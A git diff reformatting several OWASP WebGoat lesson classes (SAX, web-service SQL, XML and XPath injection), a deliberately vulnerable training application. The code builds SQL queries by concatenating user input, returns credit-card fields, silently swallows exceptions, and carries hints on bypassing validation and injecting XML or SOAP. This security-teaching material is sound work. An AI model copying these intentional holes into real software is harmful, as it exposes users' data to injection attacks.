protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -159,8 +143,7 @@ public class WsSAXInjection extends LessonAdapter
{ {
ec.addElement(checkXML(s, xml)); ec.addElement(checkXML(s, xml));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -168,7 +151,6 @@ public class WsSAXInjection extends LessonAdapter
return (ec); return (ec);
} }
private Element checkXML(WebSession s, String xml) private Element checkXML(WebSession s, String xml)
{ {
try try
@ -180,23 +162,17 @@ public class WsSAXInjection extends LessonAdapter
if (!"101".equals(changer.getId())) if (!"101".equals(changer.getId()))
{ {
makeSuccess(s); makeSuccess(s);
return new B(HtmlEncoder return new B(HtmlEncoder.encode("You have changed the passsword for userid " + changer.getId()
.encode("You have changed the passsword for userid " + " to '" + changer.getPassword() + "'"));
+ changer.getId() + " to '"
+ changer.getPassword() + "'"));
} }
else else
{ {
return new StringElement( return new StringElement("You changed the password for userid 101. Try again.");
"You changed the password for userid 101. Try again.");
} }
} } catch (SAXException saxe)
catch (SAXException saxe)
{ {
return new StringElement("The XML was not well formed: " return new StringElement("The XML was not well formed: " + saxe.getLocalizedMessage());
+ saxe.getLocalizedMessage()); } catch (IOException ioe)
}
catch (IOException ioe)
{ {
return new StringElement(ioe.getLocalizedMessage()); return new StringElement(ioe.getLocalizedMessage());
} }
@ -215,45 +191,33 @@ public class WsSAXInjection extends LessonAdapter
private StringBuffer text = new StringBuffer(); private StringBuffer text = new StringBuffer();
public void startElement(String uri, String localName, String qName, Attributes atts) throws SAXException
public void startElement(String uri, String localName, String qName,
Attributes atts) throws SAXException
{ {
text.delete(0, text.length()); text.delete(0, text.length());
} }
public void characters(char[] ch, int start, int length) throws SAXException
public void characters(char[] ch, int start, int length)
throws SAXException
{ {
text.append(ch, start, length); text.append(ch, start, length);
} }
public void endElement(String uri, String localName, String qName) throws SAXException
public void endElement(String uri, String localName, String qName)
throws SAXException
{ {
if (localName.equals(ID_TAG)) if (localName.equals(ID_TAG)) id = text.toString();
id = text.toString(); if (localName.equals(PASSWORD_TAG)) password = text.toString();
if (localName.equals(PASSWORD_TAG))
password = text.toString();
text.delete(0, text.length()); text.delete(0, text.length());
} }
public void ignorableWhitespace(char[] ch, int start, int length) throws SAXException
public void ignorableWhitespace(char[] ch, int start, int length)
throws SAXException
{ {
text.append(ch, start, length); text.append(ch, start, length);
} }
public String getId() public String getId()
{ {
return id; return id;
} }
public String getPassword() public String getPassword()
{ {
return password; return password;

139
main/project/JavaSource/org/owasp/webgoat/lessons/WsSqlInjection.java
View File

@ -1,9 +1,8 @@
/* /*
* Created on Jun 1, 2005 * Created on Jun 1, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -13,7 +12,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -22,45 +20,43 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE; import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Window - Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class WsSqlInjection extends LessonAdapter public class WsSqlInjection extends LessonAdapter
{ {
@ -71,10 +67,12 @@ public class WsSqlInjection extends LessonAdapter
private String accountNumber; private String accountNumber;
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg") final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0); .setVspace(0);
/* (non-Javadoc) /*
* (non-Javadoc)
*
* @see lessons.AbstractLesson#getMenuItem() * @see lessons.AbstractLesson#getMenuItem()
*/ */
static boolean completed; static boolean completed;
@ -82,43 +80,39 @@ public class WsSqlInjection extends LessonAdapter
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class * We maintain a static reference to WebgoatContext, since this class is also automatically
* is also automatically instantiated by the Axis web services module, * instantiated by the Axis web services module, which does not call setWebgoatContext()
* which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) { public void setWebgoatContext(WebgoatContext webgoatContext)
{
WsSqlInjection.webgoatContext = webgoatContext; WsSqlInjection.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() { public WebgoatContext getWebgoatContext()
{
return WsSqlInjection.webgoatContext; return WsSqlInjection.webgoatContext;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
.add("Try connecting to the WSDL with a browser or Web Service tool."); hints.add("Sometimes the server side code will perform input validation before issuing "
hints
.add("Sometimes the server side code will perform input validation before issuing "
+ "the request to the web service operation. Try to bypass this check by " + "the request to the web service operation. Try to bypass this check by "
+ "accessing the web service directly"); + "accessing the web service directly");
hints hints.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request."); + "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints hints.add("Create a new soap request for the getCreditCard(String id) operation.");
.add("Create a new soap request for the getCreditCard(String id) operation.");
hints hints
.add("A soap request uses the following HTTP header: <br> " .add("A soap request uses the following HTTP header: <br> "
+ "SOAPAction: some action header, can be &quot;&quot;<br><br>" + "SOAPAction: some action header, can be &quot;&quot;<br><br>"
@ -131,35 +125,33 @@ public class WsSqlInjection extends LessonAdapter
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + ""); + "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + "");
/* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" + /*
" &lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + * "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" + " &lt;SOAP-ENV:Envelope
" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" + * xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + "
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" + * xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" + "
" &lt;SOAP-ENV:Body&gt; <br>" + * xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" + "
" &lt;ns1:getCreditCard SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>" + * &lt;SOAP-ENV:Body&gt; <br>" + " &lt;ns1:getCreditCard
" &lt;id xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+ * SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"
" &lt;/ns1:getCreditCard&gt; <br>" + * xmlns:ns1=\"http://lessons\"&gt; <br>" + " &lt;id
" &lt;/SOAP-ENV:Body&gt; <br>" + * xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+ " &lt;/ns1:getCreditCard&gt; <br>" + "
" &lt;/SOAP-ENV:Envelope&gt; <br><br>" + * &lt;/SOAP-ENV:Body&gt; <br>" + " &lt;/SOAP-ENV:Envelope&gt; <br><br>" + "Intercept the
"Intercept the HTTP request and try to create a soap request."); */ * HTTP request and try to create a soap request.");
*/
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(150); private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "Web Service SQL Injection"; return "Web Service SQL Injection";
} }
protected Element makeAccountLine(WebSession s) protected Element makeAccountLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -176,7 +168,6 @@ public class WsSqlInjection extends LessonAdapter
return ec; return ec;
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -184,8 +175,7 @@ public class WsSqlInjection extends LessonAdapter
{ {
ec.addElement(makeAccountLine(s)); ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE userid = " String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
+ accountNumber;
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
for (int i = 0; i < accountNumber.length(); i++) for (int i = 0; i < accountNumber.length(); i++)
{ {
@ -202,8 +192,7 @@ public class WsSqlInjection extends LessonAdapter
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
results.last(); results.last();
if (results.getRow() >= 6) if (results.getRow() >= 6)
{ {
@ -214,20 +203,16 @@ public class WsSqlInjection extends LessonAdapter
{ {
ec.addElement("No results matched. Try Again."); ec.addElement("No results matched. Try Again.");
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
} }
A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File"); A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File");
ec ec.addElement(new P().addElement("Exploit the following WSDL to access sensitive data:"));
.addElement(new P()
.addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
getLessonTracker(s).setCompleted(completed); getLessonTracker(s).setCompleted(completed);
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -235,7 +220,6 @@ public class WsSqlInjection extends LessonAdapter
return (ec); return (ec);
} }
public ResultSet getResults(String id) public ResultSet getResults(String id)
{ {
try try
@ -244,21 +228,19 @@ public class WsSqlInjection extends LessonAdapter
String query = "SELECT * FROM user_data WHERE userid = " + id; String query = "SELECT * FROM user_data WHERE userid = " + id;
try try
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
return results; return results;
} catch (SQLException sqle)
{
} }
catch (SQLException sqle) } catch (Exception e)
{} {
} }
catch (Exception e)
{}
return null; return null;
} }
public String[] getCreditCard(String id) public String[] getCreditCard(String id)
{ {
ResultSet results = getResults(id); ResultSet results = getResults(id);
@ -279,14 +261,13 @@ public class WsSqlInjection extends LessonAdapter
users[i - 1] = results.getString(ccNumber); users[i - 1] = results.getString(ccNumber);
} }
return users; return users;
} catch (SQLException sqle)
{
} }
catch (SQLException sqle)
{}
} }
return null; return null;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO); return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);

150
main/project/JavaSource/org/owasp/webgoat/lessons/XMLInjection.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashMap; import java.util.HashMap;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -20,32 +20,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -60,8 +59,8 @@ public class XMLInjection extends LessonAdapter
public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>(); public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>();
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected static HashMap<Integer, Reward> init() protected static HashMap<Integer, Reward> init()
{ {
@ -94,7 +93,6 @@ public class XMLInjection extends LessonAdapter
return rewardsMap; return rewardsMap;
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
@ -102,34 +100,27 @@ public class XMLInjection extends LessonAdapter
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax")) if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ {
if (s.getParser().getRawParameter(ACCOUNTID, "").equals( if (s.getParser().getRawParameter(ACCOUNTID, "").equals("836239"))
"836239"))
{ {
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String xmlStr = "<root>" + lineSep String xmlStr = "<root>" + lineSep + "<reward>WebGoat Mug 20 Pts</reward>" + lineSep
+ "<reward>WebGoat Mug 20 Pts</reward>" + "<reward>WebGoat t-shirt 50 Pts</reward>" + lineSep
+ lineSep + "<reward>WebGoat Secure Kettle 30 Pts</reward>" + lineSep + "</root>";
+ "<reward>WebGoat t-shirt 50 Pts</reward>"
+ lineSep + "<reward>WebGoat Secure Kettle 30 Pts</reward>"
+ lineSep + "</root>";
s.getResponse().setContentType("text/xml"); s.getResponse().setContentType("text/xml");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse() PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
.getOutputStream());
out.print(xmlStr); out.print(xmlStr);
out.flush(); out.flush();
out.close(); out.close();
return; return;
} }
} }
} } catch (Exception ex)
catch (Exception ex)
{ {
ex.printStackTrace(); ex.printStackTrace();
} }
Form form = new Form(getFormAction(), Form.POST).setName("form") Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
.setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
@ -137,7 +128,6 @@ public class XMLInjection extends LessonAdapter
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -149,38 +139,14 @@ public class XMLInjection extends LessonAdapter
isDone = true; isDone = true;
} }
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<script>" String script = "<script>" + lineSep + "function getRewards() {" + lineSep
+ lineSep + "var accountIDField = document.getElementById('" + ACCOUNTID + "');" + lineSep
+ "function getRewards() {" + "if (accountIDField.value.length < 6 ) { return; }" + lineSep + "var url = '" + getLink()
+ lineSep + "&from=ajax&" + ACCOUNTID + "=' + encodeURIComponent(accountIDField.value);" + lineSep
+ "var accountIDField = document.getElementById('" + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ ACCOUNTID + "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ "');" + lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ lineSep + " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}"
+ "if (accountIDField.value.length < 6 ) { return; }"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&"
+ ACCOUNTID
+ "=' + encodeURIComponent(accountIDField.value);"
+ lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep
+ "req = new XMLHttpRequest();"
+ lineSep
+ "} else if (window.ActiveXObject) {"
+ lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep
+ " }"
+ lineSep
+ " req.open('GET', url, true);"
+ lineSep
+ " req.onreadystatechange = callback;"
+ lineSep
+ " req.send(null);"
+ lineSep
+ "}"
+ lineSep + lineSep
+ "function callback() {" + "function callback() {"
+ lineSep + lineSep
@ -203,30 +169,22 @@ public class XMLInjection extends LessonAdapter
// + " var node = rewards.childNodes[i+1];" // + " var node = rewards.childNodes[i+1];"
+ lineSep + lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';" + " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';"
+ lineSep + lineSep + " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';" + lineSep
+ " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';" + " }" + lineSep + " strHTML = '<table>' + strHTML + '</table>';" + lineSep
+ lineSep + " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;" + lineSep
+ " }" + " rewardsDiv.innerHTML = strHTML;" + lineSep + " }}}" + lineSep + "</script>"
+ lineSep + lineSep;
+ " strHTML = '<table>' + strHTML + '</table>';"
+ lineSep
+ " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;"
+ lineSep + " rewardsDiv.innerHTML = strHTML;"
+ lineSep + " }}}" + lineSep + "</script>" + lineSep;
if (!isDone) if (!isDone)
{ {
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
} }
ec.addElement(new BR().addElement(new H1() ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat-Miles Reward Miles Program.")));
.addElement("Welcome to WebGoat-Miles Reward Miles Program.")));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR().addElement(new H3() ec.addElement(new BR().addElement(new H3().addElement("Rewards available through the program:")));
.addElement("Rewards available through the program:")));
ec.addElement(new BR()); ec.addElement(new BR());
Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0) Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
TR trRewards = null; TR trRewards = null;
for (int i = 1001; i < 1001 + rewardsMap.size(); i++) for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
@ -245,8 +203,7 @@ public class XMLInjection extends LessonAdapter
ec.addElement(new H3().addElement("Redeem your points:")); ec.addElement(new H3().addElement("Redeem your points:"));
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0) Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
@ -288,13 +245,10 @@ public class XMLInjection extends LessonAdapter
if (s.getParser().getRawParameter("check" + i, "") != "") if (s.getParser().getRawParameter("check" + i, "") != "")
{ {
shipment.append(((Reward) rewardsMap.get(i)).getName() shipment.append(((Reward) rewardsMap.get(i)).getName() + "<br>");
+ "<br>");
} }
} }
shipment shipment.insert(0, "<br><br><b>The following items will be shipped to your address:</b><br>");
.insert(0,
"<br><br><b>The following items will be shipped to your address:</b><br>");
ec.addElement(new StringElement(shipment.toString())); ec.addElement(new StringElement(shipment.toString()));
} }
@ -303,50 +257,42 @@ public class XMLInjection extends LessonAdapter
return ec; return ec;
} }
protected Element makeSuccess(WebSession s) protected Element makeSuccess(WebSession s)
{ {
getLessonTracker(s).setCompleted(true); getLessonTracker(s).setCompleted(true);
s s.setMessage("Congratulations. You have successfully completed this lesson.");
.setMessage("Congratulations. You have successfully completed this lesson.");
return (null); return (null);
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server."); hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to intercept the reply and check the reply."); hints.add("Try to intercept the reply and check the reply.");
hints hints.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
return hints; return hints;
} }
public String getTitle() public String getTitle()
{ {
return "XML Injection"; return "XML Injection";
@ -359,25 +305,21 @@ public class XMLInjection extends LessonAdapter
private int points; private int points;
public String getName() public String getName()
{ {
return name; return name;
} }
public void setName(String name) public void setName(String name)
{ {
this.name = name; this.name = name;
} }
public int getPoints() public int getPoints()
{ {
return points; return points;
} }
public void setPoints(int points) public void setPoints(int points)
{ {
this.points = points; this.points = points;

99
main/project/JavaSource/org/owasp/webgoat/lessons/XPATHInjection.java
View File

@ -1,6 +1,7 @@
/** /**
* *
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.File; import java.io.File;
@ -11,12 +12,10 @@ import java.io.FileInputStream;
import org.xml.sax.InputSource; import org.xml.sax.InputSource;
import org.w3c.dom.NodeList; import org.w3c.dom.NodeList;
import org.w3c.dom.Node; import org.w3c.dom.Node;
import javax.xml.xpath.XPathConstants; import javax.xml.xpath.XPathConstants;
import javax.xml.xpath.XPath; import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathFactory; import javax.xml.xpath.XPathFactory;
import javax.xml.xpath.XPathExpressionException; import javax.xml.xpath.XPathExpressionException;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -32,36 +31,34 @@ import org.apache.ecs.html.BR;
import org.apache.ecs.html.B; import org.apache.ecs.html.B;
import org.apache.ecs.html.PRE; import org.apache.ecs.html.PRE;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -78,8 +75,8 @@ public class XPATHInjection extends LessonAdapter
private final static String PASSWORD = "Password"; private final static String PASSWORD = "Password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
